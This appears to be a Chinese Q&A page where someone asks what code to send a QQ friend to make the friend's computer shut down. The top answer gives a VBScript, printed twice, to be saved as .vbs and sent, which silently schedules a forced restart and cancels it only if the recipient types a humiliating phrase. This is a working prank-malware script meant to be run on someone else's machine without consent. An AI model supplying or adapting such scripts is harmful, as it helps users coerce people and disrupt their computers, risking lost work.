在QQ上给好友发个什么代码可以让好友的电脑自动关机? 5
3个回答
展开全部
你先创建一个文本文档 然后把下面那段话输入文档里 在把文档格式改为 vbs 就可以了 很简单 不过前提是对方好友接收软件并且打开 字体自己可以修改 字母 符号不可以修改
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""叫哥哥,不叫哥哥一分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "哥哥")
a = inputbox ("叫哥哥,就不关机,快撒,说 ""哥哥"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""叫哥哥,不叫哥哥一分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "哥哥")
a = inputbox ("叫哥哥,就不关机,快撒,说 ""哥哥"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
2010-05-20
展开全部
发个VBS的文件
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询